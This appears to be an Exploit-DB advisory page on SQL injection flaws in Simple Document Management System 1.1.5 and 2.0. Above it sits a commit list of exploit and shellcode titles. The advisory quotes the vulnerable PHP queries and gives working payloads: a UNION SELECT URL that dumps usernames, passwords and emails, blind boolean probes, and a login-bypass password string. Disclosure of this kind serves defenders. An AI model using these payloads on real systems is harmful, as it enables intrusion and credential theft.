
14991 changes to exploits/shellcodes HTC Touch - vCard over IP Denial of Service TeamSpeak 3.0.0-beta25 - Multiple Vulnerabilities PeerBlock 1.1 - Blue Screen of Death WS10 Data Server - SCADA Overflow (PoC) Symantec Endpoint Protection 12.1.4013 - Service Disabling Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow man-db 2.4.1 - 'open_cat_stream()' Local uid=man CDRecord's ReadCD - '$RSH exec()' SUID Shell Creation CDRecord's ReadCD - Local Privilege Escalation Anyburn 4.3 x86 - 'Copy disc to image file' Buffer Overflow (Unicode) (SEH) FreeBSD - Intel SYSRET Privilege Escalation (Metasploit) CCProxy 6.2 - 'ping' Remote Buffer Overflow Savant Web Server 3.1 - Remote Buffer Overflow (2) Litespeed Web Server 4.0.17 with PHP (FreeBSD) - Remote Overflow Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow QNAP TS-431 QTS < 4.2.2 - Remote Command Execution (Metasploit) Imperva SecureSphere 13.x - 'PWS' Command Injection (Metasploit) Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit) Oracle Weblogic Server - Deserialization Remote Command Execution (Patch Bypass) TeamCity < 9.0.2 - Disabled Registration Bypass OpenSSH SCP Client - Write Arbitrary Files Kados R10 GreenBee - Multiple SQL Injection WordPress Core 5.0 - Remote Code Execution phpBB 3.2.3 - Remote Code Execution Linux/x86 - Create File With Permission 7775 + exit() Shellcode (Generator) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
73 lines
No EOL
2 KiB
Text
73 lines
No EOL
2 KiB
Text
source: https://www.securityfocus.com/bid/54043/info
|
|
|
|
Simple Document Management System is prone to multiple SQL-injection vulnerabilities because the application fails to properly sanitize user-supplied input before using it in an SQL query.
|
|
|
|
A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database.
|
|
|
|
Simple Document Management System versions 1.1.5 and 2.0 are vulnerable.
|
|
|
|
-----------
|
|
version 2.0
|
|
-----------
|
|
|
|
/list.php?folder_id=['foo]
|
|
/detail.php?doc_id=['foo]
|
|
|
|
<code>
|
|
line 13: if(isset($_GET['folder_id'])) $folder_id = $_GET['folder_id'];
|
|
...
|
|
line 48: if(isset($order)) {
|
|
$query = "SELECT id,name FROM folders WHERE parent=$folder_id ORDER BY ". rawurldecode($order);
|
|
} else {
|
|
$query = "SELECT id,name FROM folders WHERE parent=$folder_id";
|
|
}
|
|
</code>
|
|
|
|
.xpl! :: /list.php?folder_id=-10+union+all+select+1,1,1,concat_ws(char(58),user,pass,name,email),1,1,1,1,1,1,0+from+users--
|
|
|
|
|
|
~~ [Blind]
|
|
|
|
/user_photo.php?view=[foo]
|
|
|
|
<code>
|
|
$query = "SELECT photo,mime FROM users_info WHERE id=".$_GET['view'];
|
|
$res = mysql_query($query, $sql);
|
|
if( mysql_num_rows($res) == 1 ) {
|
|
$row = mysql_fetch_array($res);
|
|
header( "Content-type: $row[mime]" );
|
|
echo "". base64_decode($row[photo]) ."";
|
|
} else {
|
|
echo "Badness!\n";
|
|
}
|
|
</code>
|
|
|
|
.poc! :: /user_photo.php?view=2+and+1=1
|
|
/user_photo.php?view=2+and+1=2
|
|
|
|
|
|
-------------
|
|
version 1.1.5
|
|
-------------
|
|
|
|
/login.php
|
|
|
|
<code>
|
|
$result = @mysql_query("SELECT pass != PASSWORD('$pass') FROM users WHERE user='$login'");
|
|
$row = @mysql_fetch_array($result);
|
|
if( $row[0] != 0 ) {
|
|
header("Location: index.php");
|
|
exit;
|
|
}
|
|
|
|
$result = @mysql_query("SELECT id,name FROM users WHERE user='$login'");
|
|
$row = @mysql_fetch_array($result);
|
|
$id = $row[id];
|
|
$name = $row[name];
|
|
</code>
|
|
|
|
.xpl! :: user: Admin
|
|
password: ') FROM users WHERE id=-1 UNION SELECT 0 FROM users --
|
|
|
|
|
|
__h0__ |